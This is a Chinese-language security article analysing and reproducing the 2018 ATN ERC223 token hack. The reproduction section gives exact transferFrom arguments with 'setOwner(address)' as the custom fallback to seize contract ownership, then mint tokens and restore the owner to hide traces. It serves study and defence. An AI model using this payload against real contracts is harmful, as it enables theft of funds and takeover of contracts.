一、ATN介绍
ATN作为全球首个区块链+AI项目,是一个去中心化的、无需授权的、用户自定义人工智能即服务(AIaaS)和使用接口的开放区块链平台。ATN公有链将引入DBot的Oracle预言机、跨链互操作技术,且通过石墨烯架构实现高并发TPS,侧重解决人工智能服务(AIaas)与EVM兼容的智能合约之间互操作性的问题。ANT旨在提供下一代的区块链平台,提供AIaaS人工智能即服务和智能合约,为各个DApp服务,让其可以具备调用人工智能能力,繁荣DBot生态。
然而在2018年5月11日中午,ATN安全检测人员收到了异常的监控报告,并发现其ATN存在漏洞并遭受攻击。黑客利用了 ERC223 合约可传入自定义的接收调用函数与 ds-auth 权限校验等特征,在 ERC223 合约调用这个自定义函数时,合约调用自身函数从而造成内部权限控制失效。而本文,我们就针对这次事件进行漏洞分析,并在文章中对漏洞详情进行复现操作,以方便读者进行深入研究。
二、合约详解
ATN Token合约采用的是在传统ERC20Token合约基础上的扩展版本ERC223,并在此基础上调用了dapphub/ds-auth 库。而我们在前文中提到的合约代码均为ERC20,这里为何使用ERC23呢?下面我们介绍一下ERC23与ERC20的区别。
ERC223 是由 Dexaran 于 2017 年 3 月 5 日提出的一个 Token 标准草案 ,用于改进 ERC20,解决其无法处理发往合约自身 Token 的这一问题。ERC20 有两套代币转账机制,一套为直接调用transfer()
函数,另一套为调用 approve() + transferFrom()
先授权再转账。当转账对象为智能合约时,这种情况必须使用第二套方法,否则转往合约地址的 Token 将永远无法再次转出。
下面我们具体来看一下ATN合约代码的具体函数。
contract DSAuthority {
function canCall(
address src, address dst, bytes4 sig
) public view returns (bool);
}
contract DSAuthEvents {
event LogSetAuthority (address indexed authority);
event LogSetOwner (address indexed owner);
}
首先,代码定义了两个合约,第一个合约作为接口,而第二个合约声明了两个事件,用于记录Authority以及设置owner。
下面是DSAuth
合约。
contract DSAuth is DSAuthEvents {
DSAuthority public authority;
address public owner;
function DSAuth() public {
owner = msg.sender;
LogSetOwner(msg.sender);
}
function setOwner(address owner_)
public
auth
{
owner = owner_;
LogSetOwner(owner);
}
function setAuthority(DSAuthority authority_)
public
auth
{
authority = authority_;
LogSetAuthority(authority);
}
modifier auth {
require(isAuthorized(msg.sender, msg.sig));
_;
}
function isAuthorized(address src, bytes4 sig) internal view returns (bool) {
if (src == address(this)) {
return true;
} else if (src == owner) {
return true;
} else if (authority == DSAuthority(0)) {
return false;
} else {
return authority.canCall(src, this, sig);
}
}
}
此合约定义了一些基本的函数,而该合约大部分的功能是用于进行身份认证。例如setOwner
用于更新owner
的身份。而下面定义了一个auth
修饰器,其中调用了下文的isAuthorized
函数。次函数是来判断该地址是否为合约为owner
或者是否被授权。
下面合约定义了DSStop
。
contract DSStop is DSNote, DSAuth {
bool public stopped;
modifier stoppable {
require(!stopped);
_;
}
function stop() public auth note {
stopped = true;
}
function start() public auth note {
stopped = false;
}
}
看合约名我们也能清楚,该合约用于定义合约目前是否停止运行。所以合约内部定义了变量stopped
并增加修饰器便于其余合约进行继承使用。
而为了防止出现整数溢出等问题,合约定义了安全函数。
contract DSMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x);
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x);
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x);
}
function min(uint x, uint y) internal pure returns (uint z) {
return x <= y ? x : y;
}
function max(uint x, uint y) internal pure returns (uint z) {
return x >= y ? x : y;
}
function imin(int x, int y) internal pure returns (int z) {
return x <= y ? x : y;
}
function imax(int x, int y) internal pure returns (int z) {
return x >= y ? x : y;
}
uint constant WAD = 10 ** 18;
uint constant RAY = 10 ** 27;
function wmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), WAD / 2) / WAD;
}
function rmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), RAY / 2) / RAY;
}
function wdiv(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, WAD), y / 2) / y;
}
function rdiv(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, RAY), y / 2) / y;
}
function rpow(uint x, uint n) internal pure returns (uint z) {
z = n % 2 != 0 ? x : RAY;
for (n /= 2; n != 0; n /= 2) {
x = rmul(x, x);
if (n % 2 != 0) {
z = rmul(z, x);
}
}
}
}
通读此合约,我们能够了解到在除了正常的加减乘除之外,合约还定义了平方求幂的运算函数——rpow
。不过此函数在ATN中并没有进行使用。
之后定义了DSTokenBase
基础合约。
contract DSTokenBase is ERC20, DSMath {
uint256 _supply;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) _approvals;
function DSTokenBase(uint supply) public {
_balances[msg.sender] = supply;
_supply = supply;
}
function totalSupply() public view returns (uint) {
return _supply;
}
function balanceOf(address src) public view returns (uint) {
return _balances[src];
}
function allowance(address src, address guy) public view returns (uint) {
return _approvals[src][guy];
}
function transfer(address dst, uint wad) public returns (bool) {
return transferFrom(msg.sender, dst, wad);
}
function transferFrom(address src, address dst, uint wad)
public
returns (bool)
{
if (src != msg.sender) {
_approvals[src][msg.sender] = sub(_approvals[src][msg.sender], wad);
}
_balances[src] = sub(_balances[src], wad);
_balances[dst] = add(_balances[dst], wad);
Transfer(src, dst, wad);
return true;
}
function approve(address guy, uint wad) public returns (bool) {
_approvals[msg.sender][guy] = wad;
Approval(msg.sender, guy, wad);
return true;
}
}
该合约与ERC20等基础合约的部分相同,所以函数定义部分比较简单,这里就不进行详细说明。
contract DSToken is DSTokenBase(0), DSStop {
mapping (address => mapping (address => bool)) _trusted;
bytes32 public symbol;
uint256 public decimals = 18; // standard token precision. override to customize
function DSToken(bytes32 symbol_) public {
symbol = symbol_;
}
event Trust(address indexed src, address indexed guy, bool wat);
event Mint(address indexed guy, uint wad);
event Burn(address indexed guy, uint wad);
function trusted(address src, address guy) public view returns (bool) {
return _trusted[src][guy];
}
function trust(address guy, bool wat) public stoppable {
_trusted[msg.sender][guy] = wat;
Trust(msg.sender, guy, wat);
}
function approve(address guy, uint wad) public stoppable returns (bool) {
return super.approve(guy, wad);
}
function transferFrom(address src, address dst, uint wad)
public
stoppable
returns (bool)
{
if (src != msg.sender && !_trusted[src][msg.sender]) {
_approvals[src][msg.sender] = sub(_approvals[src][msg.sender], wad);
}
_balances[src] = sub(_balances[src], wad);
_balances[dst] = add(_balances[dst], wad);
Transfer(src, dst, wad);
return true;
}
function push(address dst, uint wad) public {
transferFrom(msg.sender, dst, wad);
}
function pull(address src, uint wad) public {
transferFrom(src, msg.sender, wad);
}
function move(address src, address dst, uint wad) public {
transferFrom(src, dst, wad);
}
function mint(uint wad) public {
mint(msg.sender, wad);
}
function burn(uint wad) public {
burn(msg.sender, wad);
}
function mint(address guy, uint wad) public auth stoppable {
_balances[guy] = add(_balances[guy], wad);
_supply = add(_supply, wad);
Mint(guy, wad);
}
function burn(address guy, uint wad) public auth stoppable {
if (guy != msg.sender && !_trusted[guy][msg.sender]) {
_approvals[guy][msg.sender] = sub(_approvals[guy][msg.sender], wad);
}
_balances[guy] = sub(_balances[guy], wad);
_supply = sub(_supply, wad);
Burn(guy, wad);
}
// Optional token name
bytes32 public name = "";
function setName(bytes32 name_) public auth {
name = name_;
}
}
DSToken
继承了上文的合约以及用于停止合约运行的DSStop
合约。
比较值得注意的地方为_trusted
。此函数类似于记录授权值,只有被授权后的用户才能代替进行转账操作。并且此授权值有固定的金额。
而mint
函数也是此合约的重点。该函数用于增加某地址的金额数量,而想要执行此函数,必须经过授权或者拥有权限。
之后合约定义了Controlled
。
contract Controlled {
/// @notice The address of the controller is the only address that can call
/// a function with this modifier
modifier onlyController { if (msg.sender != controller) throw; _; }
address public controller;
function Controlled() { controller = msg.sender;}
/// @notice Changes the controller of the contract
/// @param _newController The new controller of the contract
function changeController(address _newController) onlyController {
controller = _newController;
}
}
此合约用于进行权限的判断并进行对controller
的修改。
而下面就是我们ATN合约的具体函数内容了。
ATN合约定义了多个类型的转账函数,其名字均相同,但是传入参数不同(便于参与者定制)。
function transferFrom(address _from, address _to, uint256 _amount
) public returns (bool success) {
// Alerts the token controller of the transfer
if (isContract(controller)) {
if (!TokenController(controller).onTransfer(_from, _to, _amount))
throw;
}
success = super.transferFrom(_from, _to, _amount);
if (success && isContract(_to))
{
// ERC20 backward compatiability
if(!_to.call(bytes4(keccak256("tokenFallback(address,uint256)")), _from, _amount)) {
// do nothing when error in call in case that the _to contract is not inherited from ERC223ReceivingContract
// revert();
// bytes memory empty;
ReceivingContractTokenFallbackFailed(_from, _to, _amount);
// Even the fallback failed if there is such one, the transfer will not be revert since "revert()" is not called.
}
}
}
我们挑选其中一个进行详细讲解。
function transferFrom(address _from, address _to, uint256 _amount, bytes _data, string _custom_fallback)
public
returns (bool success)
{
// Alerts the token controller of the transfer
if (isContract(controller)) {
if (!TokenController(controller).onTransfer(_from, _to, _amount))
throw;
}
require(super.transferFrom(_from, _to, _amount));
if (isContract(_to)) {
ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
receiver.call.value(0)(bytes4(keccak256(_custom_fallback)), _from, _amount, _data);
}
ERC223Transfer(_from, _to, _amount, _data);
return true;
}
在该合约中,我们知道函数首先判断controller
是否为一个合约而不是一个钱包地址。如何为合约的话,那么将调用TokenController
中的onTransfer
函数。
然而这并不是重点,之后将使用require(super.transferFrom(_from, _to, _amount));
函数进行转账操作,此处使用了继承的方法进行转账,并使用require
进行对转账成功与否进行判断。只有成功才能继续进行。而后,我们将对_to
地址进行判断,若此地址为合约,那么我们将调用receiver.call.value(0)(bytes4(keccak256(_custom_fallback)), _from, _amount, _data);
。而领我们疑问的是为什么次函数会调用receiver的内部函数呢?我们在这里理解为:ERC20Token与ERC20Token之间的直接互换。本质上是发送ATN时,通过回调函数执行额外指令,比如发回其他Token。
也就是说我们在进行了转账操作后可以传入指令自动执行地址下的函数,方便我们进行连续操作。(出发点很好,但是因为此而存在了漏洞)
而后是判定是否为合约的函数。
function isContract(address _addr) constant internal returns(bool) {
uint size;
if (_addr == 0) return false;
assembly {
size := extcodesize(_addr)
}
return size>0;
}
而为了保证安全性,合约还定义了转账函数以降低风险。
/// @notice This method can be used by the controller to extract mistakenly
/// sent tokens to this contract.
/// @param _token The address of the token contract that you want to recover
/// set to 0 in case you want to extract ether.
function claimTokens(address _token) onlyController {
if (_token == 0x0) {
controller.transfer(this.balance);
return;
}
ERC20 token = ERC20(_token);
uint balance = token.balanceOf(this);
token.transfer(controller, balance);
ClaimedTokens(_token, controller, balance);
}
这里定义了claimTokens
合约用于将余额全部提取以防止出现大的安全隐患。
三、漏洞复现
根据我们上文解释,我们能够发现在ATN合约中的转账函数多次出现了远程调用的内容。这其实是很危险的行为。通常当我们调用 ERC20 的 approve()
函数给一个智能合约地址后,对方并不能收到相关通知进行下一步操作,常见做法是利用 接收通知调用(receiverCall)来解决无法监听的问题。上面代码是一种实现方式,很不幸这段代码有严重的 CUSTOM_CALL
滥用漏洞。调用approveAndCall()
函数后,会接着执行_spender
上用户自定义的其他方法来进行接收者的后续操作。
所以我们完全可以在transferFrom
函数中传入特定的参数从而执行特定的函数。
function transferFrom(address _from, address _to, uint256 _amount,
bytes _data, string _custom_fallback) public returns (bool success)
{
ERC223ReceivingContract receiver =
ERC223ReceivingContract(_to);
receiving.call.value(0)(byte4(keccak256(_custom_fallback)),
_from, amout, data);
}
比如我们可以传入:
transferFrom( hacker_address, atn_contract_address, 0, 0,
"setOwner(address)")
_from: 0xxxxxxxx-- 黑客地址
_to: 0xxxxxxx -- ATN合约地址
_amount: 0
_data: 0x0
_custom_fallback: setOwner(address)
这样函数就会在执行转账操作后执行setOwner
函数。此时 setOwner
会先验证 auth
合法性的,而 msg.sender
就是ATN的合约地址。此时黑客将 ATN Token合约的 owner 变更为自己控制的地址。
首先我们需要部署合约。
之后调用mint函数进行挖矿向合约中注入一定资产。
进行查看。
此时我们创建攻击者账户。并查看其余额,查看当前owner。
之后我们切换到攻击者账户下,并传入参数:
"0x14723a09acff6d2a60dcdf7aa4aff308fddc160c","0xca35b7d915458ef540ade6068dfe2f44e8fa733c",0,0x00,"setOwner(address)"
传入后,我们再次查看owner
的信息。
却发现失败了。仔细阅读后发现我们需要将令_to
为一个合约地址。
"0x14723a09acff6d2a60dcdf7aa4aff308fddc160c","0xbbf289d846208c16edc8474705c748aff07732db",0,0x00,"setOwner(address)"
更换地址后,我们执行。得到如下结果。
此时我们能够看到 owner
已经更换。
既然我们已经成为合约拥有者,那么我们就给自己点福利。
我们成功给自己的账户中增加了一定的token。
之后我们为了销声匿迹。将合约主人换回从前。
至此,我们的攻击目的已经达到。
在真实ATN中,我们能够查询到真实攻击的交易情况:
黑客获得提权,将自己的地址设为owner
https://etherscan.io/tx/0x3b7bd618c49e693c92b2d6bfb3a5adeae498d9d170c15fcc79dd374166d28b7b黑客在获得owner权限后,发行1100w ATN到自己的攻击主地址
https://etherscan.io/tx/0x9b559ffae76d4b75d2f21bd643d44d1b96ee013c79918511e3127664f8f7a910黑客将owner设置恢复,企图隐藏踪迹
https://etherscan.io/tx/0xfd5c2180f002539cd636132f1baae0e318d8f1162fb62fb5e3493788a034545a
四、参考链接
http://btsabc.org/article-1449-1.html
https://etherscan.io/address/0x461733c17b0755ca5649b6db08b3e213fcf22546#code
https://paper.seebug.org/621/
https://www.jianshu.com/p/38cbf879ac72
- https://github.com/dapphub/ds-auth/blob/master/src/auth.sol
本稿为原创稿件,转载请标明出处。谢谢。
首发:[https://xz.aliyun.com/t/4773](https://xz.aliyun.com/t/4773)